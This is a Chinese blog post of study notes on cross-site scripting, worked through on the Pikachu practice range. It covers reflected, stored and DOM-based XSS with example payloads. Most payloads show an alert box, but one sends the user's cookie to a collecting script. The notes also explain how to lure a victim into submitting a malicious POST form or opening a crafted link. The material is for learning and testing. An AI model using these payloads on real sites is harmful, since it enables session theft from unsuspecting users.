xss漏洞学习上--pikachu--2023/03/26

2. xss跨站脚本漏洞学习

学习链接:

pikachu靶场通关_yyysec的博客-CSDN博客

Web安全从入门到“放弃”之跨站脚本XSS - 青日GO(/ω\) - 博客园

xss漏洞是发生在web前端的漏洞,危害的对象也是前端用户。

xss漏洞可以用来进行钓鱼攻击,前端挖矿,用户cookie获取,甚至可以结合浏览器自身漏洞对用户主机进行远程控制。

形成xss漏洞的主要原因是程序对输入和输出没有做合适的处理,导致构造的字符输出在前端时,被浏览器当作有效代码解析执行从而产生危害。

跨站脚本漏洞测试流程:

①在目标站点上找到输入点,比如查询接口,留言板等;
②输入一组”特殊字符+唯一识别字符”, 点击提交后,查看返回的源码,是否有做对应的处理;
③通过搜索定位到唯一字符,结合唯一字符前后语法确认是否可以构造执行js的条件 (构造闭合)
④提交构造的脚本代码(以及各种绕过姿势),看是否可以成功执行,如果成功执行则说明存在XSS漏洞;
提示:

1.一般查询接口容易出现反射型XSS ,留言板容易出现存储型XSS ;

2.由于后台可能存在过滤措施,构造的script可能会被过滤掉,而无法生效或者环境限制了执行(浏览器) ;

3.通过变化不同的script ,尝试绕过后台过滤机制;

1)反射型xss(get)

这里简单测试一下,可以发现输入的文本会出现在url中,即为get型

扫描二维码关注公众号,回复: 17359652 查看本文章

交互的数据一般不会被存在数据库里面,一次性,所见即所得,一般出现在查询类页面等

先随便输入一些特殊字符,查看会不会直接输出,没有进行过滤
在这里插入图片描述
在这里插入图片描述

发现其是原封不动的输出,如果我们输入正确的javascript语句,就可能被直接返回,形成漏洞

这里发现输入框限制了长度,在web开发者工具中修改一下即可。

输入代码:输入框中的语句被执行,出现了xss弹窗。
在这里插入图片描述

post方式的反射型xss登录后与上面类似。

2)反射型xss(get)获取cookie

直接在输入内容中输入payload,获取用户cookie:

<script>alert(document.cookie)</script>

这样页面就提示这样的cookie

通过恶意payload将窃取的cookie保存到自己的站点中:

<script>document.location = 'http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

在这里插入图片描述

3)反射型xss(post)获取cookie

post请求不能从url中让用户向服务器提交数据,为了进行注入,需要用户代替攻击者提交post请求。

攻击者自己去搭建一个站点,在网站上放一个post表单,将存放post表单的链接发送给受害者,诱导受害者点击。

这个post表单会自动向漏洞服务器提交一个post请求,实现受害者帮我们提交post请求的目的

我们只需要诱导受害者点击上面的链接就能窃取用户的cookie。

攻击者自己搭建的html实现,向存在xss漏洞的网页,恶意执行获取cookie的代码。
在这里插入图片描述
在这里插入图片描述

4)存储型xss

存储型xss:交互的数据会被保存在数据库中,永久性存储,一般出现在留言板,注册等页面

随便输入字符,发现写的内容会被后台存下来

打开页面源代码,发现输入的内容和反射型xss一样,都会放在p标签中,没有经过任何的过滤和转义处理。

在页面中输入一个payload:

<script>alert("xss error")</script>

在这里插入图片描述

无论是刷新页面还是切换页面,都会出现这样的弹窗,存储型xss危害更大

5)DOM型xss

不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题,属于反射型

DOM的简单介绍:通过js可以重构整个html的文档,要改变页面的某个东西,js需要获得对html文档中所有元素进行访问的入口。这个入口,连同对html元素进行增加,移动,改变和移除的方法和属性,都是通过文档对象模型DOM来获得,DOM可以认为是一个访问html的标准编程接口。

在输入框中输入一串字符,打开页面源码,看它是具体做了什么操作
在这里插入图片描述

输出的话,DOM是纯前端操作,输出也是前端输出

当我们点击click me的时候,输入框的内容,被拼接到了a标签中

我们在input中输入

' οnclick="alert('xss error')"
构成a标签闭合,嵌入了一个弹窗
<a href='' οnclick="alert('xss error')">'>what do you see?</a>

在这里插入图片描述

这样点击下方的提示,就会出现对应的弹窗

在这里插入图片描述

6)DOM型xss-x

在输入框提交,发现其内容出现在了url中,说明是GET类型

查看页面的源码:
在这里插入图片描述

当点击下面‘有些费尽心机想要……’的文字是,触发domxss()函数,获取输入框的内容,将其写入dom标签中,构造标签闭合,即可出现xss漏洞,输入payload

' onclick = "alert('xss error')"

DOM-X危害更大,能够像反射型一样在URL中体现,将URL发给了受害者就能进行攻击。

猜你喜欢

转载自blog.csdn.net/m0_53689197/article/details/129782593